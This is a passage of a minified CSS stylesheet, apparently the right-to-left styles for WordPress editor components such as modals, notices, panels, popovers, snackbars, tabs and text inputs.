.components-menu-item__button .components-menu-item__shortcut + .components-menu-items__item-icon, .components-menu-item__button.components-button .components-menu-item__shortcut + .components-menu-items__item-icon { margin-right: 8px; } .components-menu-item__button .block-editor-block-icon, .components-menu-item__button.components-button .block-editor-block-icon { margin-right: -2px; margin-left: 8px; } .components-menu-item__info-wrapper { display: flex; flex-direction: column; margin-left: auto; } .components-menu-item__info { margin-top: 4px; font-size: 12px; color: #757575; white-space: normal; } .components-menu-item__item { white-space: nowrap; margin-left: auto; display: inline-flex; align-items: center; } .components-menu-item__shortcut { -ms-grid-row-align: center; align-self: center; margin-left: 0; margin-right: auto; padding-right: 24px; color: currentColor; display: none; } @media (min-width: 480px) { .components-menu-item__shortcut { display: inline; } } .components-menu-items-choice svg, .components-menu-items-choice.components-button svg { margin-left: 12px; } .components-menu-items-choice.has-icon, .components-menu-items-choice.components-button.has-icon { padding-right: 12px; } .components-modal__screen-overlay { position: fixed; top: 0; left: 0; bottom: 0; right: 0; background-color: rgba(0, 0, 0, 0.35); z-index: 100000; animation: edit-post__fade-in-animation 0.2s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-modal__screen-overlay { animation-duration: 1ms; } } .components-modal__frame { position: absolute; top: 0; left: 0; bottom: 0; right: 0; box-sizing: border-box; margin: 0; border: 1px solid #ddd; background: #fff; box-shadow: 0 3px 30px rgba(0, 0, 0, 0.2); overflow: auto; } @media (min-width: 600px) { .components-modal__frame { top: 50%; left: auto; bottom: auto; right: 50%; min-width: 360px; max-width: calc(100% - 16px - 16px); max-height: 90%; transform: translate(50%, -50%); animation: components-modal__appear-animation 0.1s ease-out; animation-fill-mode: forwards; } } @media (min-width: 600px) and (prefers-reduced-motion: reduce) { .components-modal__frame { animation-duration: 1ms; } } @keyframes components-modal__appear-animation { from { margin-top: 32px; } to { margin-top: 0; } } .components-modal__header { box-sizing: border-box; border-bottom: 1px solid #ddd; padding: 0 24px; display: flex; flex-direction: row; justify-content: space-between; background: #fff; align-items: center; height: 60px; z-index: 10; position: relative; position: -webkit-sticky; position: sticky; top: 0; margin: 0 -24px 24px; } @supports (-ms-ime-align: auto) { .components-modal__header { position: fixed; width: 100%; } } .components-modal__header .components-modal__header-heading { font-size: 1rem; font-weight: 600; } .components-modal__header h1 { line-height: 1; margin: 0; } .components-modal__header .components-button { position: relative; right: 8px; } .components-modal__header-heading-container { align-items: center; flex-grow: 1; display: flex; flex-direction: row; justify-content: left; } .components-modal__header-icon-container { display: inline-block; } .components-modal__header-icon-container svg { max-width: 36px; max-height: 36px; padding: 8px; } .components-modal__content { box-sizing: border-box; height: 100%; padding: 0 24px 24px; } @supports (-ms-ime-align: auto) { .components-modal__content { padding-top: 60px; } } .components-notice { display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; background-color: #fff; border-right: 4px solid #007cba; border-right: 4px solid var(--wp-admin-theme-color); margin: 5px 15px 2px; padding: 8px 12px; align-items: center; } .components-notice.is-dismissible { padding-left: 36px; position: relative; } .components-notice.is-success { border-right-color: #4ab866; background-color: #eff9f1; } .components-notice.is-warning { border-right-color: #f0b849; background-color: #fef8ee; } .components-notice.is-error { border-right-color: #cc1818; background-color: #f4a2a2; } .components-notice__content { flex-grow: 1; margin: 4px 0 4px 25px; } .components-notice__action.components-button, .components-notice__action.components-button.is-link { margin-right: 12px; } .components-notice__action.components-button.is-secondary { vertical-align: initial; } .components-notice__dismiss { color: #757575; align-self: flex-start; flex-shrink: 0; } .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover, .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active, .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus { color: #1e1e1e; background-color: transparent; } .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover { box-shadow: none; } .components-notice-list { max-width: 100vw; box-sizing: border-box; z-index: 29; } .components-notice-list .components-notice__content { margin-top: 12px; margin-bottom: 12px; line-height: 2; } .components-notice-list .components-notice__action.components-button { display: block; margin-right: 0; margin-top: 8px; } .components-panel { background: #fff; border: 1px solid #e0e0e0; } .components-panel > .components-panel__header:first-child, .components-panel > .components-panel__body:first-child { margin-top: -1px; } .components-panel > .components-panel__header:last-child, .components-panel > .components-panel__body:last-child { border-bottom-width: 0; } .components-panel + .components-panel { margin-top: -1px; } .components-panel__body { border-top: 1px solid #e0e0e0; border-bottom: 1px solid #e0e0e0; } .components-panel__body h3 { margin: 0 0 0.5em; } .components-panel__body.is-opened { padding: 16px; } .components-panel__header { display: flex; justify-content: space-between; align-items: center; padding: 0 16px; height: 48px; border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; } .components-panel__header h2 { margin: 0; font-size: inherit; color: inherit; } .components-panel__body + .components-panel__body, .components-panel__body + .components-panel__header, .components-panel__header + .components-panel__body, .components-panel__header + .components-panel__header { margin-top: -1px; } .components-panel__body > .components-panel__body-title { display: block; padding: 0; font-size: inherit; margin-top: 0; margin-bottom: 0; transition: 0.1s background ease-in-out; } @media (prefers-reduced-motion: reduce) { .components-panel__body > .components-panel__body-title { transition-duration: 0s; } } .components-panel__body.is-opened > .components-panel__body-title { margin: -16px; margin-bottom: 5px; } .components-panel__body > .components-panel__body-title:hover { background: #f0f0f0; border: none; } .components-panel__body-toggle.components-button { position: relative; padding: 16px; outline: none; width: 100%; font-weight: 500; text-align: right; color: #1e1e1e; border: none; box-shadow: none; transition: 0.1s background ease-in-out; height: auto; } @media (prefers-reduced-motion: reduce) { .components-panel__body-toggle.components-button { transition-duration: 0s; } } .components-panel__body-toggle.components-button:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); border-radius: 0; } .components-panel__body-toggle.components-button .components-panel__arrow { position: absolute; left: 16px; top: 50%; transform: translateY(-50%); color: #1e1e1e; fill: currentColor; transition: 0.1s color ease-in-out; } @media (prefers-reduced-motion: reduce) { .components-panel__body-toggle.components-button .components-panel__arrow { transition-duration: 0s; } } body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right { transform: scaleX(-1); -ms-filter: fliph; filter: FlipH; margin-top: -10px; } .components-panel__icon { color: #757575; margin: -2px 6px -2px 0; } .components-panel__body-toggle-icon { margin-left: -5px; } .components-panel__color-title { float: right; height: 19px; } .components-panel__row { display: flex; justify-content: space-between; align-items: center; margin-top: 8px; min-height: 36px; } .components-panel__row select { min-width: 0; } .components-panel__row label { margin-left: 12px; flex-shrink: 0; max-width: 75%; } .components-panel__row:empty, .components-panel__row:first-of-type { margin-top: 0; } .components-panel .circle-picker { padding-bottom: 20px; } .components-placeholder.components-placeholder { box-sizing: border-box; position: relative; padding: 1em; min-height: 200px; width: 100%; text-align: right; margin: 0; color: #1e1e1e; -moz-font-smoothing: subpixel-antialiased; -webkit-font-smoothing: subpixel-antialiased; border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; outline: 1px solid transparent; } @supports ((position: -webkit-sticky) or (position: sticky)) { .components-placeholder.components-placeholder { display: flex; flex-direction: column; justify-content: center; align-items: flex-start; } } .components-placeholder.components-placeholder .components-base-control__label { font-size: 13px; } .components-placeholder__error, .components-placeholder__instructions, .components-placeholder__label, .components-placeholder__fieldset { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .components-placeholder__label { display: flex; font-weight: 600; margin-bottom: 16px; align-items: center; } .components-placeholder__label > svg, .components-placeholder__label .dashicon, .components-placeholder__label .block-editor-block-icon { fill: currentColor; margin-left: 1ch; } .components-placeholder__fieldset, .components-placeholder__fieldset form { display: flex; flex-direction: row; width: 100%; flex-wrap: wrap; } .components-placeholder__fieldset p, .components-placeholder__fieldset form p { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .components-placeholder__fieldset.is-column-layout, .components-placeholder__fieldset.is-column-layout form { flex-direction: column; } .components-placeholder__input[type=url] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; margin: 0 0 0 8px; flex: 1 1 auto; } @media (prefers-reduced-motion: reduce) { .components-placeholder__input[type=url] { transition-duration: 0s; } } @media (min-width: 600px) { .components-placeholder__input[type=url] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-placeholder__input[type=url]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-placeholder__input[type=url]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-placeholder__input[type=url]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-placeholder__input[type=url]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-placeholder__input[type=url]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-placeholder__input[type=url]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-placeholder__input[type=url]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-placeholder__instructions { margin-bottom: 1em; } .components-placeholder__error { margin-top: 1em; width: 100%; } .components-placeholder__preview img { margin: 3%; width: 50%; } .components-placeholder__fieldset .components-button { margin-left: 12px; margin-bottom: 12px; } .components-placeholder__fieldset .components-button:last-child { margin-bottom: 0; margin-left: 0; } .components-placeholder__fieldset .components-button:not(.is-link) ~ .components-button.is-link { margin-right: 10px; margin-left: 10px; } .components-placeholder__fieldset .components-button:not(.is-link) ~ .components-button.is-link:last-child { margin-left: 0; } .components-placeholder.is-large .components-placeholder__label { font-size: 18pt; font-weight: normal; } .components-placeholder.is-medium .components-placeholder__instructions, .components-placeholder.is-small .components-placeholder__instructions { display: none; } .components-placeholder.is-medium .components-placeholder__fieldset, .components-placeholder.is-medium .components-placeholder__fieldset form, .components-placeholder.is-small .components-placeholder__fieldset, .components-placeholder.is-small .components-placeholder__fieldset form { flex-direction: column; } .components-placeholder.is-medium .components-placeholder__fieldset .components-button, .components-placeholder.is-small .components-placeholder__fieldset .components-button { margin-left: auto; } .components-placeholder.is-small .components-button { padding: 0 8px 2px; } .components-popover { position: fixed; z-index: 1000000; top: 0; left: 0; opacity: 0; } .components-popover.is-expanded, .components-popover[data-x-axis][data-y-axis] { opacity: 1; } .components-popover.is-expanded { top: 0; left: 0; right: 0; bottom: 0; z-index: 1000000 !important; } .components-popover:not(.is-without-arrow) { margin-left: 2px; } .components-popover:not(.is-without-arrow)::before { border: 8px solid #ccc; } .components-popover:not(.is-without-arrow).is-alternate::before { border-color: #1e1e1e; } .components-popover:not(.is-without-arrow)::after { border: 8px solid #fff; } .components-popover:not(.is-without-arrow)::before, .components-popover:not(.is-without-arrow)::after { content: ""; position: absolute; height: 0; width: 0; line-height: 0; } .components-popover:not(.is-without-arrow)[data-y-axis=top] { margin-top: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=top]::before { bottom: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=top]::after { bottom: -6px; } .components-popover:not(.is-without-arrow)[data-y-axis=top]::before, .components-popover:not(.is-without-arrow)[data-y-axis=top]::after { border-bottom: none; border-left-color: transparent; border-right-color: transparent; border-top-style: solid; margin-left: -10px; } .components-popover:not(.is-without-arrow)[data-y-axis=bottom] { margin-top: 8px; } .components-popover:not(.is-without-arrow)[data-y-axis=bottom]::before { top: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=bottom]::after { top: -6px; } .components-popover:not(.is-without-arrow)[data-y-axis=bottom]::before, .components-popover:not(.is-without-arrow)[data-y-axis=bottom]::after { border-bottom-style: solid; border-left-color: transparent; border-right-color: transparent; border-top: none; margin-left: -10px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left] { margin-left: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]::before { right: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]::after { right: -6px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]::before, .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]::after { border-bottom-color: transparent; border-left-style: solid; border-right: none; border-top-color: transparent; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right] { margin-left: 8px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]::before { left: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]::after { left: -6px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]::before, .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]::after { border-bottom-color: transparent; border-left: none; border-right-style: solid; border-top-color: transparent; } .components-popover[data-y-axis=top] { bottom: 100%; } .components-popover[data-y-axis=bottom] { top: 100%; } .components-popover[data-y-axis=middle] { align-items: center; display: flex; } .components-popover.is-from-top { margin-top: 12px; } .components-popover.is-from-bottom { margin-top: -12px; } .components-popover.is-from-left:not(.is-from-top):not(.is-from-bottom) { margin-left: 12px; } .components-popover.is-from-right:not(.is-from-top):not(.is-from-bottom) { margin-right: 12px; } .components-popover__content { height: 100%; background: #fff; border: 1px solid #ccc; box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05); border-radius: 2px; } .is-alternate .components-popover__content { border: 1px solid #1e1e1e; box-shadow: none; } .components-popover .components-popover__content { position: absolute; height: auto; overflow-y: auto; } .components-popover.is-expanded .components-popover__content { position: static; height: calc(100% - 48px); overflow-y: visible; min-width: auto; border: none; border-top: 1px solid #1e1e1e; } .components-popover[data-y-axis=top] .components-popover__content { bottom: 100%; } .components-popover[data-x-axis=center] .components-popover__content { left: 50%; transform: translateX(-50%); } .components-popover[data-x-axis=right] .components-popover__content { position: absolute; left: 100%; } .components-popover:not([data-y-axis=middle])[data-x-axis=right] .components-popover__content { margin-left: -25px; } .components-popover[data-x-axis=left] .components-popover__content { position: absolute; right: 100%; } .components-popover:not([data-y-axis=middle])[data-x-axis=left] .components-popover__content { margin-right: -25px; } .components-popover__header { align-items: center; background: #fff; display: flex; height: 48px; justify-content: space-between; padding: 0 8px 0 16px; } .components-popover__header-title { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; width: 100%; } .components-popover__close.components-button { z-index: 5; } .components-radio-control { display: flex; flex-direction: column; } .components-radio-control .components-base-control__help { margin-top: 0; } .components-radio-control .components-base-control__field { margin-bottom: 0; } .components-radio-control__option:not(:last-child) { margin-bottom: 4px; } .components-radio-control__input[type=radio] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; border: 1px solid #1e1e1e; margin-left: 12px; transition: none; border-radius: 50%; width: 24px; height: 24px; margin-top: 0; margin-left: 6px; } @media (prefers-reduced-motion: reduce) { .components-radio-control__input[type=radio] { transition-duration: 0s; } } @media (min-width: 600px) { .components-radio-control__input[type=radio] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-radio-control__input[type=radio]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-radio-control__input[type=radio]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-radio-control__input[type=radio]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-radio-control__input[type=radio]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-radio-control__input[type=radio]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-radio-control__input[type=radio]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-radio-control__input[type=radio]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } @media (min-width: 600px) { .components-radio-control__input[type=radio] { height: 20px; width: 20px; } } .components-radio-control__input[type=radio]:checked::before { width: 8px; height: 8px; transform: translate(-7px, 7px); margin: 0; background-color: #fff; border: 4px solid #fff; } @media (min-width: 600px) { .components-radio-control__input[type=radio]:checked::before { transform: translate(-5px, 5px); } } .components-radio-control__input[type=radio]:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-radio-control__input[type=radio]:checked { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-resizable-box__handle { display: none; width: 23px; height: 23px; z-index: 2; } .components-resizable-box__container.has-show-handle .components-resizable-box__handle { display: block; } .components-resizable-box__handle::after { display: block; content: ""; width: 15px; height: 15px; border: 2px solid #fff; border-radius: 50%; background: #007cba; background: var(--wp-admin-theme-color); cursor: inherit; position: absolute; top: calc(50% - 8px); left: calc(50% - 8px); } .components-resizable-box__side-handle::before { display: block; content: ""; width: 7px; height: 7px; border: 2px solid #fff; background: #007cba; background: var(--wp-admin-theme-color); cursor: inherit; position: absolute; top: calc(50% - 4px); left: calc(50% - 4px); transition: transform 0.1s ease-in; opacity: 0; } @media (prefers-reduced-motion: reduce) { .components-resizable-box__side-handle::before { transition-duration: 0s; } } .is-dark-theme .components-resizable-box__side-handle::before, .is-dark-theme .components-resizable-box__handle::after { border-color: #ddd; } .components-resizable-box__side-handle { z-index: 2; } .components-resizable-box__corner-handle { z-index: 2; } .components-resizable-box__side-handle.components-resizable-box__handle-top, .components-resizable-box__side-handle.components-resizable-box__handle-bottom, .components-resizable-box__side-handle.components-resizable-box__handle-top::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom::before { width: 100%; right: 0; border-right: 0; border-left: 0; } .components-resizable-box__side-handle.components-resizable-box__handle-left, .components-resizable-box__side-handle.components-resizable-box__handle-right, .components-resizable-box__side-handle.components-resizable-box__handle-left::before, .components-resizable-box__side-handle.components-resizable-box__handle-right::before { height: 100%; top: 0; border-top: 0; border-bottom: 0; } .components-resizable-box__side-handle.components-resizable-box__handle-top:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-top:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active::before { animation: components-resizable-box__top-bottom-animation 0.1s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-resizable-box__side-handle.components-resizable-box__handle-top:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-top:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active::before { animation-duration: 1ms; } } .components-resizable-box__side-handle.components-resizable-box__handle-left:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-left:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:active::before { animation: components-resizable-box__left-right-animation 0.1s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-resizable-box__side-handle.components-resizable-box__handle-left:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-left:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:active::before { animation-duration: 1ms; } } /* This CSS is shown only to Safari, which has a bug with table-caption making it jumpy. See https://bugs.webkit.org/show_bug.cgi?id=187903. */ @media not all and (min-resolution: 0.001dpcm) { @supports (-webkit-appearance: none) { .components-resizable-box__side-handle.components-resizable-box__handle-top:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-top:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active::before { animation: none; } .components-resizable-box__side-handle.components-resizable-box__handle-left:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-left:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:active::before { animation: none; } } } @keyframes components-resizable-box__top-bottom-animation { from { transform: scaleX(0); opacity: 0; } to { transform: scaleX(1); opacity: 1; } } @keyframes components-resizable-box__left-right-animation { from { transform: scaleY(0); opacity: 0; } to { transform: scaleY(1); opacity: 1; } } .components-resizable-box__handle-right { right: calc(11.5px * -1); } .components-resizable-box__handle-left { left: calc(11.5px * -1); } .components-resizable-box__handle-top { top: calc(11.5px * -1); } .components-resizable-box__handle-bottom { bottom: calc(11.5px * -1); } .components-responsive-wrapper { position: relative; max-width: 100%; } .components-responsive-wrapper, .components-responsive-wrapper > span { display: block; } .components-responsive-wrapper__content { position: absolute; top: 0; left: 0; bottom: 0; right: 0; width: 100%; height: 100%; margin: auto; } .components-sandbox { overflow: hidden; } iframe.components-sandbox { width: 100%; } html.lockscroll, body.lockscroll { overflow: hidden; } .components-select-control__input { background: #fff; height: 36px; line-height: 36px; margin: 1px; outline: 0; width: 100%; -webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important; } @media (min-width: 782px) { .components-select-control__input { height: 28px; line-height: 28px; } } @media (max-width: 782px) { .components-base-control .components-base-control__field .components-select-control__input { font-size: 16px; } } .components-snackbar { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; background-color: #1e1e1e; border-radius: 2px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); color: #fff; padding: 16px 24px; width: 100%; max-width: 600px; box-sizing: border-box; cursor: pointer; } @media (min-width: 600px) { .components-snackbar { width: -webkit-fit-content; width: -moz-fit-content; width: fit-content; } } .components-snackbar:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #007cba; box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); } .components-snackbar.components-snackbar-explicit-dismiss { cursor: default; } .components-snackbar .components-snackbar__content-with-icon { margin-right: 24px; } .components-snackbar .components-snackbar__icon { position: absolute; top: 24px; right: 28px; } .components-snackbar .components-snackbar__dismiss-button { margin-right: 32px; cursor: pointer; } .components-snackbar__action.components-button { margin-right: 32px; color: #fff; height: auto; flex-shrink: 0; line-height: 1.4; padding: 0; } .components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary) { text-decoration: underline; background-color: transparent; } .components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):focus { color: #fff; box-shadow: none; outline: 1px dotted #fff; } .components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover { color: #007cba; color: var(--wp-admin-theme-color); } .components-snackbar__content { display: flex; align-items: baseline; justify-content: space-between; line-height: 1.4; } .components-snackbar-list { position: absolute; z-index: 100000; width: 100%; box-sizing: border-box; } .components-snackbar-list__notice-container { position: relative; padding-top: 8px; } .components-tab-panel__tabs { display: flex; align-items: stretch; flex-direction: row; } .components-tab-panel__tabs[aria-orientation=vertical] { flex-direction: column; } .components-tab-panel__tabs-item { background: transparent; border: none; box-shadow: none; border-radius: 0; cursor: pointer; height: 48px; padding: 3px 16px; margin-right: 0; font-weight: 500; transition: box-shadow 0.1s linear; box-sizing: border-box; } .components-tab-panel__tabs-item::after { content: attr(data-label); display: block; height: 0; overflow: hidden; speak: none; visibility: hidden; } .components-tab-panel__tabs-item:focus:not(:disabled) { box-shadow: inset 0 2px #007cba; box-shadow: inset 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .components-tab-panel__tabs-item.is-active { box-shadow: inset 0 0 0 2px transparent, inset 0 -4px 0 0 #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) transparent, inset 0 -4px 0 0 var(--wp-admin-theme-color); position: relative; } .components-tab-panel__tabs-item.is-active::before { content: ""; position: absolute; top: 0; bottom: 1px; left: 0; right: 0; border-bottom: 4px solid transparent; } .components-tab-panel__tabs-item:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .components-tab-panel__tabs-item.is-active:focus { box-shadow: inset 0 0 0 2px #007cba, inset 0 -4px 0 0 #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 -4px 0 0 var(--wp-admin-theme-color); } .components-text-control__input, .components-text-control__input[type=text], .components-text-control__input[type=tel], .components-text-control__input[type=time], .components-text-control__input[type=url], .components-text-control__input[type=week], .components-text-control__input[type=password], .components-text-control__input[type=color], .components-text-control__input[type=date], .components-text-control__input[type=datetime], .components-text-control__input[type=datetime-local], .components-text-control__input[type=email], .components-text-control__input[type=month], .components-text-control__input[type=number] { width: 100%; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; } @media (prefers-reduced-motion: reduce) { .components-text-control__input, .components-text-control__input[type=text], .components-text-control__input[type=tel], .components-text-control__input[type=time], .components-text-control__input[type=url], .components-text-control__input[type=week], .components-text-control__input[type=password], .components-text-control__input[type=color], .components-text-control__input[type=date], .components-text-control__input[type=datetime], .components-text-control__input[type=datetime-local], .components-text-control__input[type=email], .components-text-control__input[type=month], .components-text-control__input[type=number] { transition-duration: 0s; } } @media (min-width: 600px) { .components-text-control__input, .components-text-control__input[type=text], .components-text-control__input[type=tel], .components-text-control__input[type=time], .components-text-control__input[type=url], .components-text-control__input[type=week], .components-text-control__input[type=password], .components-text-control__input[type=color], .components-text-control__input[type=date], .components-text-control__input[type=datetime], .components-text-control__input[type=datetime-local], .components-text-control__input[type=email], .components-text-control__input[type=month], .components-text-control__input[type=number] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-text-control__input:focus, .components-text-control__input[type=text]:focus, .components-text-control__input[type=tel]:focus, .components-text-control__input[type=time]:focus, .components-text-control__input[type=url]:focus, .components-text-control__input[type=week]:focus, .components-text-control__input[type=password]:focus, .components-text-control__input[type=color]:focus, .components-text-control__input[type=date]:focus, .components-text-control__input[type=datetime]:focus, .components-text-control__input[type=datetime-local]:focus, .components-text-control__input[type=email]:focus, .components-text-control__input[type=month]:focus, .components-text-control__input[type=number]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-text-control__input::-webkit-input-placeholder, .components-text-control__input[type=text]::-webkit-input-placeholder, .components-text-control__input[type=tel]::-webkit-input-placeholder, .components-text-control__input[type=time]::-webkit-input-placeholder, .components-text-control__input[type=url]::-webkit-input-placeholder, .components-text-control__input[type=week]::-webkit-input-placeholder, .components-text-control__input[type=password]::-webkit-input-placeholder, .components-text-control__input[type=color]::-webkit-input-placeholder, .components-text-control__input[type=date]::-webkit-input-placeholder, .components-text-control__input[type=datetime]::-webkit-input-placeholder, .components-text-control__input[type=datetime-local]::-webkit-input-placeholder, .components-text-control__input[type=email]::-webkit-input-placeholder, .components-text-control__input[type=month]::-webkit-input-placeholder, .components-text-control__input[type=number]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-text-control__input::-moz-placeholder, .components-text-control__input[type=text]::-moz-placeholder, .components-text-control__input[type=tel]::-moz-placeholder, .components-text-control__input[type=time]::-moz-placeholder, .components-text-control__input[type=url]::-moz-placeholder, .components-text-control__input[type=week]::-moz-placeholder, .components-text-control__input[type=password]::-moz-placeholder, .components-text-control__input[type=color]::-moz-placeholder, .components-text-control__input[type=date]::-moz-placeholder, .components-text-control__input[type=datetime]::-moz-placeholder, .components-text-control__input[type=datetime-local]::-moz-placeholder, .components-text-control__input[type=email]::-moz-placeholder, .components-text-control__input[type=month]::-moz-placeholder, .components-text-control__input[type=number]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-text-control__input:-ms-input-placeholder, .components-text-control__input[type=text]:-ms-input-placeholder, .components-text-control__input[type=tel]:-ms-input-placeholder, .components-text-control__input[type=time]:-ms-input-placeholder, .components-text-control__input[type=url]:-ms-input-placeholder, .components-text-control__input[type=week]:-ms-input-placeholder, .components-text-control__input[type=password]:-ms-input-placeholder, .components-text-control__input[type=color]:-ms-input-placeholder, .components-text-control__input[type=date]:-ms-input-placeholder, .components-text-control__input[type=datetime]:-ms-input-placeholder, .components-text-control__input[type=datetime-local]:-ms-input-placeholder, .components-text-control__input[type=email]:-ms-input-placeholder, 